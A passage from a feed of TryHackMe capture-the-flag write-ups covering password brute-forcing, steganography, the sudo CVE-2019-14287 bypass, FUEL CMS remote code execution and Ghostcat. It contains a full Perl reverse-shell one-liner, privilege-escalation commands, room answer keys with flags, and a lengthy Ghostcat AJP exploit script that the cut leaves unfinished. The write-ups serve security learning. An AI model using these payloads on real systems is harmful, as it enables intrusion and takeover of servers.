alt="" src="https://cdn-images-1.medium.com/max/931/1*ZTpfFMSxMIBc9rr0NutEkQ.png" /><figcaption>(nmap -sv)</figcaption></figure><p>The <strong>service </strong>scan revealed:</p><ul><li><strong>Port 21</strong>: vsftpd 3.0.3 (<strong>FTP </strong>service). Anonymous login was not permitted.</li><li><strong>Port 22</strong>: OpenSSH 7.6p1 (<strong>SSH </strong>service).</li><li><strong>Port 80</strong>: Apache httpd 2.4.29 (<strong>HTTP </strong>service).</li></ul><p><strong>Enumeration Phase</strong></p><p>With no immediately obvious “low-hanging fruit” from the initial scans, I decided to investigate the web service on port <strong>80</strong>. The main page displayed a message suggesting the use of a <strong>“codename”</strong> within the “user-agent” header to access the site. The message was attributed to “agent R,” which led me to hypothesize that the <strong>codenames </strong>were likely single characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*8wbrfQenySalBq29TWcfEQ.png" /><figcaption>(codename)</figcaption></figure><p>To systematically test this, I captured a GET request to the site using <strong>Burp Suite</strong> and sent it to the Intruder tool. I configured a <strong>Sniper </strong>attack, replacing the User-Agent header with each letter of the <strong>alphabet</strong>.</p><pre>AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789</pre><p>The attack revealed that the letter C returned a 302 Redirect <strong>status </strong>code, unlike the others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*8pjek56bu55eEi3rhhiPrA.png" /><figcaption>( c )</figcaption></figure><p>I then used a User-Agent Switcher browser extension to set my <strong>user-agent</strong> to C and reloaded the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*PW-aokmSVu0MbjxO-WE1-Q.png" /><figcaption>(user-agent)</figcaption></figure><p>This successfully redirected me to a new endpoint: /agent_C_attention.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*tz597JTiSB4xrzO0hubSbg.png" /><figcaption>(chris)</figcaption></figure><ul><li>The existence of other agent: J.</li><li>The full name of Agent <strong>C</strong>: chris.</li><li>A warning for <strong>Agent C</strong> that his password was too easy and should be changed.</li></ul><p><strong>Exploitation Phase</strong></p><p>Armed with a potential username (chris), I launched a brute-force attack against the FTP service using hydra and the rockyou.txt wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*ZC30t84hTLLxLH-l6tLc_g.png" /><figcaption>(hydra)</figcaption></figure><p>The attack was successful, yielding the credentials: chris:crystal.</p><p>I connected to the <strong>FTP </strong>service using the acquired credentials and found three files: cutie.png, cute-alien.jpg, and To_agentJ.txt. I downloaded all files to my local machine using the mgetcommand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*JrtoQJNrvogSg5fXf7ABEA.png" /><figcaption>(mget)</figcaption></figure><p>The text file contained a message from <strong>Agent C</strong> to <strong>Agent J</strong>, stating that J’s login password was hidden within one of the two images because they were “fake.” This strongly suggested the use of steganography.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*phNqLGI-S4mlD_67q8a5Wg.png" /><figcaption>( j )</figcaption></figure><p>My analysis of the images proceeded as follows:</p><p><strong>1.</strong> cutie.png: I first tried steghide but received an error stating it was an invalid format. This indicated that data might be appended to the image file rather than <strong>embedded </strong>with a <strong>passphrase</strong>. I used binwalk to analyze the file structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*IY6Vqyrlw7SLOdvsfrabqQ.png" /><figcaption>(binwalk)</figcaption></figure><p>Binwalk successfully revealed and extracted a hidden zip archive. Inside this archive was a file named To_agentR.txt, but it was password-protected.</p><p>To crack the zip password, I used zip2john to extract its hash and then john with the rockyou.txt <strong>wordlist</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*3JfpauX8cc4Vgq_0hMS9LQ.png" /><figcaption>(zip2john)</figcaption></figure><p>John successfully cracked the password: alien. I then extracted the To_agentR.txt file using the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*gHTDdVUAHzl_N7l7CaWdcw.png" /><figcaption>(password)</figcaption></figure><p>The file contained a string: QXJlYTUx. Recognizing this as <strong>Base64 </strong>encoding, I decoded it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*vhx8jrVvrUK_yhrUWT7dDA.png" /><figcaption>(base64)</figcaption></figure><p>This yielded the string Area51</p><p>cute-alien.jpg: I now turned to the second image. This time, steghide was the correct tool. Using the password Area51 discovered from the previous step, I extracted the hidden data.</p><p><strong>2. </strong>cute-alien.jpg: I now turned to the second image. This time, steghide was the correct tool. Using the password Area51 discovered from the previous step, I extracted the hidden data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*gNDib-aG1RhDMi7uAMv1wg.png" /><figcaption>(steghide)</figcaption></figure><p>This operation produced a message.txt file containing the credentials: james:hackerrules!.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*sq6Z-eSpkBdIhSchTIqCVg.png" /><figcaption>(james)</figcaption></figure><p>I immediately attempted to use these credentials to access the machine via <strong>SSH</strong>, and it was successful. I was granted a shell as the user james and successfully captured the <strong>user </strong>flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*585LyJMTdzO7JvhPWmQ3qA.png" /><figcaption>(user_flag.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>To escalate my <strong>privileges </strong>to root, I began standard enumeration. I checked the sudo privileges for the user james using sudo -l.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*D9pvWZZY2h7Uv59IudWIZQ.png" /><figcaption>(sudo -l)</figcaption></figure><p>This configuration meant that user james could run /bin/bash as any user except root. This is a known vulnerability <strong>(CVE-2019-14287)</strong> in older versions of <strong>Sudo</strong>.</p><p>The security policy (ALL, !root) is intended to allow execution as any user but explicitly block root. However, a flaw in <strong>Sudo&#39;s</strong> user <strong>ID </strong>validation allowed a bypass. By specifying the user ID -1 or 4294967295 (its unsigned equivalent), an attacker could trick <strong>Sudo </strong>into running the command as root. This is because Sudo incorrectly interpreted these <strong>IDs</strong>, which do not correspond to the <strong>root </strong>user (<strong>UID 0</strong>) but, due to the internal user<strong> ID</strong> mapping, effectively resulted in <strong>root </strong>privileges.</p><p>I exploited this vulnerability by running:</p><pre>sudo -u#-1 bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*vwearfTondfq5KO940Hm1Q.png" /><figcaption>(root.txt)</figcaption></figure><p>After entering james&#39;s password (hackerrules!), the command executed successfully, granting me a root <strong>shell</strong>. I then navigated to the root directory and captured the final <strong>root </strong>flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*UH1JGM32rFCFht26iwTwvg.png" /><figcaption>(root flag)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. How many open ports?</strong></p><blockquote>3</blockquote><p><strong>2. How you redirect yourself to a secret page?</strong></p><blockquote>user-agent</blockquote><p><strong>3. What is the agent name?</strong></p><blockquote>chris</blockquote><p><strong>4. FTP password</strong></p><blockquote>crystal</blockquote><p><strong>5. Zip file password</strong></p><blockquote>alien</blockquote><p><strong>6. steg password</strong></p><blockquote>Area51</blockquote><p><strong>7. Who is the other agent (in full name)?</strong></p><blockquote>james</blockquote><p><strong>8. SSH password</strong></p><blockquote>hackerrules!</blockquote><p><strong>9. What is the user flag?</strong></p><blockquote>b03d975e8c92a7c04146cfa7a5a313c7</blockquote><p><strong>10. What is the incident of the photo called?</strong></p><blockquote>Roswell alien autopsy</blockquote><p><strong>11. (Format: CVE-xxxx-xxxx)</strong></p><blockquote>CVE-2019–14287</blockquote><p><strong>12. What is the root flag?</strong></p><blockquote>b53a02f55b57d4439e3341834d70c062</blockquote><p><strong>13. (Bonus) Who is Agent R?</strong></p><blockquote>DesKel</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d650f295474d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ignite writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/ignite-writeup-tryhackme-1b376f0418e8?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b376f0418e8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Thu, 30 Oct 2025 14:46:51 GMT</pubDate>
            <atom:updated>2025-10-30T14:46:51.873Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ignite writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*3ykkFZEOA2DsyGzGX2butw.png" /></figure><p>This writeup details the methodology and steps I took to compromise the <strong>“Ignite”</strong> machine from <strong>TryHackMe</strong>. The target was a web server running a vulnerable version of <strong>FUEL CMS</strong>, which allowed for initial access via a public exploit. Privilege escalation was achieved by locating and reusing database credentials found within the application’s configuration files.</p><p><strong>Reconnaissance phase</strong></p><p>I began the engagement with an <strong>aggressive </strong>port scan to quickly identify all open <strong>ports </strong>on the target machine. For this, I used the flags -sS, -p- and --min-rate 5000 on nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*f5PEyUUfM3L5M51457jiFA.png" /><figcaption>(nmap1)</figcaption></figure><p>The initial scan revealed that only port <strong>80 </strong>was open. To gather more detailed information about the service running on this <strong>port</strong>, I performed a version and default <strong>script </strong>scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*JzPStffpzhRXlRvER_jsoQ.png" /><figcaption>(version &amp; script)</figcaption></figure><p><strong>Results</strong>:</p><ul><li><strong>Port 80/tcp</strong>: Apache httpd<strong> 2.4.18</strong></li><li>http-title: FUEL CMS <strong>1.4</strong></li></ul><p><strong>Enumeration Phase</strong></p><p>Upon accessing the web service, I was presented with the default installation page for<strong> FUEL CMS 1.4</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*a0xPENRENZ6PjAhZABnhHA.png" /><figcaption>(welcome)</figcaption></figure><p>Crucially, this page displayed default administrator credentials (admin:admin) and a link to the login panel located at /fuel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*t64ebBF1lwtW-WVFbhYDuw.png" /><figcaption>(admin:admin)</figcaption></figure><p>I attempted to log in using these default credentials at /fuel and was successful. While the <strong>admin </strong>panel itself did not immediately provide a direct path forward, it confirmed the <strong>CMS </strong>version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*aNc9kPUL94LSdo7fM8mNTQ.png" /><figcaption>(admin)</figcaption></figure><p><strong>Exploitation Phase</strong></p><p>Knowing the specific version<strong> (1.4)</strong>, I searched for publicly available exploits and discovered<strong> CVE-2018–16763</strong>. This vulnerability is a critical pre-authentication Remote Code Execution flaw in <strong>FUEL CMS</strong>. It allows an attacker to evaluate arbitrary <strong>PHP </strong>code by passing it through the filter parameter in pages/select or the data parameter in preview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*mET2e570lr8TEHf1eg3Bdw.png" /><figcaption>(exploit)</figcaption></figure><p>I found a reliable exploit script for this vulnerability in the <a href="https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE">p0dalirius </a><strong>GitHub </strong>repository. I cloned the repository and executed the <strong>script </strong>against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*ZhRU3Bgoym5amLMNoIcbRg.png" /><figcaption>(python3)</figcaption></figure><p>This script automatically uploads a <strong>PHP </strong>webshell API to the vulnerable FuelCMS instance by exploiting <strong>CVE-2018–16763</strong>. It provides functionality to execute system commands via an <strong>API </strong>with ?action=exec and download files from the remote system to the attacking machine with ?action=download, effectively giving me code execution as the www-data user.</p><p>To achieve a more stable and reliable <strong>shell</strong>, I decided to upgrade the web shell to a Netcat reverse shell. I used a classic <strong>Perl </strong>reverse shell payload from <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"><strong>PentestMonkey</strong></a>.</p><ol><li>I set up a <strong>Netcat </strong>listener on my machine.</li><li>I used the web shell to execute the following command, replacing &lt;ip&gt; and &lt;port&gt; with my listener&#39;s details:</li></ol><pre>perl -e &#39;use Socket;$i=&quot;&lt;ip&gt;&quot;;$p=&lt;port&gt;;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*iuaKG4sfZXpRJWUQPUpwAw.png" /><figcaption>(nc)</figcaption></figure><p>This granted me a reverse <strong>shell </strong>on the listener. I then proceeded to locate and retrieve the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*gJBRq-1BKdnWDMChfUuv2w.png" /><figcaption>(flag.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>My first step in <strong>privilege </strong>escalation was to check for other users on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*FTOA02YalR9ziHcD_-fIbg.png" /><figcaption>(root)</figcaption></figure><p>The output showed that the only non-service user with a valid login <strong>shell </strong>was root. This meant I needed to find a way to escalate my privileges to <strong>root </strong>directly. I conducted a thorough enumeration of common privilege escalation vectors (<strong>SUID</strong> binaries, <strong>sudo </strong>permissions, <strong>cron jobs</strong>, etc.) but found nothing immediately useful.</p><p>I then recalled that many <strong>CMS</strong> platforms, like <strong>Joomla </strong>or <strong>WordPress</strong>, often store database credentials in plaintext within configuration files. I searched for such a file in the <strong>FUEL CMS </strong>installation and found it at /var/www/html/fuel/application/config/database.php.</p><p>Upon inspecting this file, I discovered plaintext database credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*ZatCxU7XAGqVcOrgKxuNtg.png" /><figcaption>(root:mememe)</figcaption></figure><p>I attempted to switch to the root user using the su command with this password. However, the shell errored, indicating it required a fully interactive <strong>TTY</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*Lko48Gmi6Y8t4tdVusskjw.png" /><figcaption>(terminal)</figcaption></figure><p>To meet this requirement, I stabilized my reverse shell using the following technique:</p><p><strong>1. </strong>script /dev/null -c bash: This command starts a bash shell under the script command, which helps in creating a more interactive session.</p><p><strong>2.</strong> Background the session with Ctrl+Z: This sent the current process to the background on my machine.</p><p><strong>3. </strong>stty raw -echo; fg: This command on my local terminal resets the terminal settings and brings the background job to the foreground, allowing proper terminal control.</p><p><strong>4. </strong>reset: I typed reset to re-initialize the terminal.</p><p><strong>5.</strong> Set <strong>TERM </strong>type: When prompted for the terminal type, I entered xterm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*zEfTdPL8F2UmWtZZeWtgrw.png" /><figcaption>(xterm)</figcaption></figure><p><strong>6</strong>. <strong>Export </strong>environment variables: <strong>Finally</strong>, I set the necessary variables for a fully functional shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*leraWToEWdCRZQmSY8ryWQ.png" /><figcaption>(export)</figcaption></figure><p>With a fully interactive TTY established, I used the su command with the password I had found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*m4Kos9qiQS6lXE6EGIXCWQ.png" /><figcaption>(su)</figcaption></figure><p>The authentication was successful, granting me root access. I then navigated to the <strong>root </strong>user’s directory and retrieved the root.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*31ZJajjxj8QZ3onPfEAHaQ.png" /><figcaption>(root.txt)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. User.txt</strong></p><blockquote>6470e394cbf6dab6a91682cc8585059b</blockquote><p><strong>2. Root.txt</strong></p><blockquote>b9bbcb33e11b80be759c4e844862482d</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b376f0418e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tomghost writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/tomghost-writeup-tryhackme-56c78a7f1930?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/56c78a7f1930</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 12:17:52 GMT</pubDate>
            <atom:updated>2025-10-29T12:17:52.244Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tomghost writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*o-JiK9WMbmBdJuRhDNtZRw.jpeg" /></figure><p>This report details the methodology and steps taken to successfully compromise the <strong>“Tomghost”</strong>machine of TryHackMe. This engagement contains network enumeration, exploitation of a critical <strong>Apache </strong>Tomcat vulnerability, misconfigured privileges, and more!</p><p><strong>Reconnaissance phase</strong></p><p>I initiated the engagement with a comprehensive port <strong>scan </strong>to identify open <strong>ports </strong>on the target machine. To balance speed and reliability, I used a SYN scan with accelerated <strong>packet </strong>rates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*vhE-XBOXLHAkocsMDtCDpw.png" /><figcaption>(nmap ports)</figcaption></figure><p>The initial scan revealed four open <strong>ports</strong>: 22, 53, 8009, and 8080.</p><p>To identify the services running on these ports, I performed a <strong>version </strong>detection and default <strong>script </strong>scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*oPFTqH2QhzB9WuotY0Zlzw.png" /><figcaption>(services)</figcaption></figure><p><strong>Service Enumeration Results:</strong></p><ul><li>Port <strong>22 </strong>(SSH):<strong> OpenSSH</strong> service.</li><li>Port <strong>53 </strong>(DNS): A <strong>DNS </strong>service protected by tcpwrapped, restricting external access.</li><li>Port <strong>8009 </strong>(AJP): The ajp13 service, version<strong> 1.3</strong>.</li><li>Port <strong>8080 </strong>(HTTP): An <strong>Apache Tomcat 9.0.30</strong> server.</li></ul><p><strong>Enumeration Phase</strong></p><p>I navigated to the Apache Tomcat service on port <strong>8080</strong>. The server was running the default installation page, and all attempts to access common or interesting directories resulted in 403 Forbidden errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*K1P46PXDZzrKgm1FBF5l7g.png" /><figcaption>(apache)</figcaption></figure><p>This dead end prompted me to shift my focus to the ajp13 service on port <strong>8009</strong>. The Apache <strong>JServ Protocol</strong> (AJP) is a binary protocol used primarily to connect a web server (like Apache <strong>HTTPD</strong>) to a backend application server (like <strong>Tomcat</strong>). It is designed for trusted communications and should never be exposed to untrusted networks. Exposing it creates a significant vulnerability, as it abuses the inherent trust relationship.</p><p>The specific vulnerability, <strong>CVE-2020–1938</strong> (nicknamed “Ghostcat”), allows an attacker to read or include any file in the web application directories by making a malicious request to the <strong>AJP </strong>service. If file upload is possible, this can even lead to remote code execution via <strong>JSP</strong> files.</p><p><strong>Exploitation Phase</strong></p><p>I found a suitable Python exploit on GitHub (by <a href="https://github.com/00theway/Ghostcat-CNVD-2020-10487">00theway</a>):</p><pre>#!/usr/bin/python3<br># Author: 00theway<br><br>import socket<br>import binascii<br>import argparse<br>import urllib.parse<br><br>debug = False<br><br><br>def log(type, *args, **kwargs):<br>    if type == &#39;debug&#39; and debug == False:<br>        return<br>    elif type == &#39;append&#39; and debug == True:<br>        return<br>    elif type == &#39;append&#39;:<br>        kwargs[&#39;end&#39;] = &#39;&#39;<br>        print(*args, **kwargs)<br>        return<br>    print(&#39;[%s]&#39; % type.upper(), *args, **kwargs)<br><br><br>class ajpRequest(object):<br>    def __init__(self, request_url, method=&#39;GET&#39;, headers=[], attributes=[]):<br>        self.request_url = request_url<br>        self.method = method<br>        self.headers = headers<br>        self.attributes = attributes<br><br>    def method2code(self, method):<br>        methods = {<br>            &#39;OPTIONS&#39;: 1,<br>            &#39;GET&#39;: 2,<br>            &#39;HEAD&#39;: 3,<br>            &#39;POST&#39;: 4,<br>            &#39;PUT&#39;: 5,<br>            &#39;DELETE&#39;: 6,<br>            &#39;TRACE&#39;: 7,<br>            &#39;PROPFIND&#39;: 8<br>        }<br>        code = methods.get(method, 2)<br>        return code<br><br>    def make_headers(self):<br>        header2code = {<br>            b&#39;accept&#39;: b&#39;\xA0\x01&#39;,  # SC_REQ_ACCEPT<br>            b&#39;accept-charset&#39;: b&#39;\xA0\x02&#39;,  # SC_REQ_ACCEPT_CHARSET<br>            b&#39;accept-encoding&#39;: b&#39;\xA0\x03&#39;,  # SC_REQ_ACCEPT_ENCODING<br>            b&#39;accept-language&#39;: b&#39;\xA0\x04&#39;,  # SC_REQ_ACCEPT_LANGUAGE<br>            b&#39;authorization&#39;: b&#39;\xA0\x05&#39;,  # SC_REQ_AUTHORIZATION<br>            b&#39;connection&#39;: b&#39;\xA0\x06&#39;,  # SC_REQ_CONNECTION<br>            b&#39;content-type&#39;: b&#39;\xA0\x07&#39;,  # SC_REQ_CONTENT_TYPE<br>            b&#39;content-length&#39;: b&#39;\xA0\x08&#39;,  # SC_REQ_CONTENT_LENGTH<br>            b&#39;cookie&#39;: b&#39;\xA0\x09&#39;,  # SC_REQ_COOKIE<br>            b&#39;cookie2&#39;: b&#39;\xA0\x0A&#39;,  # SC_REQ_COOKIE2<br>            b&#39;host&#39;: b&#39;\xA0\x0B&#39;,  # SC_REQ_HOST<br>            b&#39;pragma&#39;: b&#39;\xA0\x0C&#39;,  # SC_REQ_PRAGMA<br>            b&#39;referer&#39;: b&#39;\xA0\x0D&#39;,  # SC_REQ_REFERER<br>            b&#39;user-agent&#39;: b&#39;\xA0\x0E&#39;  # SC_REQ_USER_AGENT<br>        }<br>        headers_ajp = []<br><br>        for (header_name, header_value) in self.headers:<br>            code = header2code.get(header_name, b&#39;&#39;)<br>            if code != b&#39;&#39;:<br>                headers_ajp.append(code)<br>                headers_ajp.append(self.ajp_string(header_value))<br>            else:<br>                headers_ajp.append(self.ajp_string(header_name))<br>                headers_ajp.append(self.ajp_string(header_value))<br><br>        return self.int2byte(len(self.headers), 2), b&#39;&#39;.join(headers_ajp)<br><br>    def make_attributes(self):<br>        &#39;&#39;&#39;<br>        org.apache.catalina.jsp_file<br>        javax.servlet.include.servlet_path + javax.servlet.include.path_info<br>        &#39;&#39;&#39;<br>        attribute2code = {<br>            b&#39;remote_user&#39;: b&#39;\x03&#39;,<br>            b&#39;auth_type&#39;: b&#39;\x04&#39;,<br>            b&#39;query_string&#39;: b&#39;\x05&#39;,<br>            b&#39;jvm_route&#39;: b&#39;\x06&#39;,<br>            b&#39;ssl_cert&#39;: b&#39;\x07&#39;,<br>            b&#39;ssl_cipher&#39;: b&#39;\x08&#39;,<br>            b&#39;ssl_session&#39;: b&#39;\x09&#39;,<br>            b&#39;req_attribute&#39;: b&#39;\x0A&#39;,  # Name (the name of the attribut follows)<br>            b&#39;ssl_key_size&#39;: b&#39;\x0B&#39;<br>        }<br>        attributes_ajp = []<br><br>        for (name, value) in self.attributes:<br>            code = attribute2code.get(name, b&#39;&#39;)<br>            if code != b&#39;&#39;:<br>                attributes_ajp.append(code)<br>                if code == b&#39;\x0A&#39;:<br>                    for v in value:<br>                        attributes_ajp.append(self.ajp_string(v))<br>                else:<br>                    attributes_ajp.append(self.ajp_string(value))<br><br>        return b&#39;&#39;.join(attributes_ajp)<br><br>    def ajp_string(self, message_bytes):<br>        # an AJP string<br>        # the length of the string on two bytes + string + plus two null bytes<br>        message_len_int = len(message_bytes)<br>        return self.int2byte(message_len_int, 2) + message_bytes + b&#39;\x00&#39;<br><br>    def int2byte(self, data, byte_len=1):<br>        return data.to_bytes(byte_len, &#39;big&#39;)<br><br>    def make_forward_request_package(self):<br>        &#39;&#39;&#39;<br>        AJP13_FORWARD_REQUEST :=<br>            prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST<br>            method           (byte)<br>            protocol         (string)<br>            req_uri          (string)<br>            remote_addr      (string)<br>            remote_host      (string)<br>            server_name      (string)<br>            server_port      (integer)<br>            is_ssl           (boolean)<br>            num_headers      (integer)<br>            request_headers *(req_header_name req_header_value)<br>            attributes      *(attribut_name attribute_value)<br>            request_terminator (byte) OxFF<br>        &#39;&#39;&#39;<br>        req_ob = urllib.parse.urlparse(self.request_url)<br><br>        # JK_AJP13_FORWARD_REQUEST<br>        prefix_code_int = 2<br>        prefix_code_bytes = self.int2byte(prefix_code_int)<br>        method_bytes = self.int2byte(self.method2code(self.method))<br>        protocol_bytes = b&#39;HTTP/1.1&#39;<br>        req_uri_bytes = req_ob.path.encode(&#39;utf8&#39;)<br>        remote_addr_bytes = b&#39;127.0.0.1&#39;<br>        remote_host_bytes = b&#39;localhost&#39;<br>        server_name_bytes = req_ob.hostname.encode(&#39;utf8&#39;)<br><br>        # SSL flag<br>        if req_ob.scheme == &#39;https&#39;:<br>            is_ssl_boolean = 1<br>        else:<br>            is_ssl_boolean = 0<br><br>        # port<br>        server_port_int = req_ob.port<br>        if not server_port_int:<br>            server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443<br>        server_port_bytes = self.int2byte(server_port_int, 2)  # convert to a two bytes<br><br>        is_ssl_bytes = self.int2byte(is_ssl_boolean)  # convert to a one byte<br><br>        self.headers.append((b&#39;host&#39;, b&#39;%s:%d&#39; % (server_name_bytes, server_port_int)))<br><br>        num_headers_bytes, headers_ajp_bytes = self.make_headers()<br><br>        attributes_ajp_bytes = self.make_attributes()<br><br>        message = []<br>        message.append(prefix_code_bytes)<br>        message.append(method_bytes)<br>        message.append(self.ajp_string(protocol_bytes))<br>        message.append(self.ajp_string(req_uri_bytes))<br>        message.append(self.ajp_string(remote_addr_bytes))<br>        message.append(self.ajp_string(remote_host_bytes))<br>        message.append(self.ajp_string(server_name_bytes))<br>        message.append(server_port_bytes)<br>        message.append(is_ssl_bytes)<br>        message.append(num_headers_bytes)<br>        message.append(headers_ajp_bytes)<br>        message.append(attributes_ajp_bytes)<br>        message.append(b&#39;\xff&#39;)<br>        message_bytes = b&#39;&#39;.join(message)<br><br>        send_bytes = b&#39;\x12\x34&#39; + self.ajp_string(message_bytes)<br><br>        return send_bytes<br><br><br>class ajpResponse(object):<br>    def __init__(self, s, out_file):<br>        self.sock = s<br>        self.out_file = out_file<br>        self.body_start = False<br>        self.common_response_headers = {<br>            b&#39;\x01&#39;: b&#39;Content-Type&#39;,<br>            b&#39;\x02&#39;: b&#39;Content-Language&#39;,<br>            b&#39;\x03&#39;: b&#39;Content-Length&#39;,<br>            b&#39;\x04&#39;: b&#39;Date&#39;,<br>            b&#39;\x05&#39;: b&#39;Last-Modified&#39;,<br>            b&#39;\x06&#39;: b&#39;Location&#39;,<br>            b&#39;\x07&#39;: b&#39;Set-Cookie&#39;,<br>            b&#39;\x08&#39;: b&#39;Set-Cookie2&#39;,<br>            b&#39;\x09&#39;: b&#39;Servlet-Engine&#39;,<br>            b&#39;\x0a&#39;: b&#39;Status&#39;,<br>            b&#39;\x0b&#39;: b&#39;WWW-Authenticate&#39;,<br>        }<br>        if not self.out_file:<br>            self.out_file = False<br>        else:<br>            log(&#39;*&#39;, &#39;store response in %s&#39; % self.out_file)<br>            self.out = open(self.out_file, &#39;wb&#39;)<br><br>    def parse_response(self):<br>        log(&#39;debug&#39;, &#39;start&#39;)<br><br>        magic = self.recv(2)  # first two bytes are the &#39;magic&#39;<br>        log(&#39;debug&#39;, &#39;magic&#39;, magic, binascii.b2a_hex(magic))<br>        # next two bytes are the length<br>        data_len_int = self.read_int(2)<br><br>        code_int = self.read_int(1)<br>        log(&#39;debug&#39;, &#39;code&#39;, code_int)<br><br>        if code_int == 3:<br>            self.parse_send_body_chunk()<br>        elif code_int == 4:<br>            self.parse_headers()<br>        elif code_int == 5:<br>            self.parse_response_end()<br>            quit()<br><br>        self.parse_response()<br><br>    def parse_headers(self):<br>        log(&quot;append&quot;, &#39;\n&#39;)<br>        log(&#39;debug&#39;, &#39;parsing RESPONSE HEADERS&#39;)<br><br>        status_int = self.read_int(2)<br>        msg_bytes = self.read_string()<br><br>        log(&#39;&lt;&#39;, status_int, msg_bytes.decode(&#39;utf8&#39;))<br><br>        headers_number_int = self.read_int(2)<br>        log(&#39;debug&#39;, &#39;headers_nb&#39;, headers_number_int)<br><br>        for i in range(headers_number_int):<br>            # header name: two cases<br>            first_byte = self.recv(1)<br>            second_byte = self.recv(1)<br><br>            if first_byte == b&#39;\xa0&#39;:<br>                header_key_bytes = self.common_response_headers[second_byte]<br>            else:<br>                header_len_bytes = first_byte + second_byte<br>                header_len_int = int.from_bytes(header_len_bytes, byteorder=&#39;big&#39;)<br>                header_key_bytes = self.read_bytes(header_len_int)<br>                # consume the 0x00 terminator<br>                self.recv(1)<br><br>            header_value_bytes = self.read_string()<br>            try:<br>                header_key_bytes = header_key_bytes.decode(&#39;utf8&#39;)<br>                header_value_bytes = header_value_bytes.decode(&#39;utf8&#39;)<br>            except:<br>                pass<br>            log(&#39;&lt;&#39;, &#39;%s: %s&#39; % 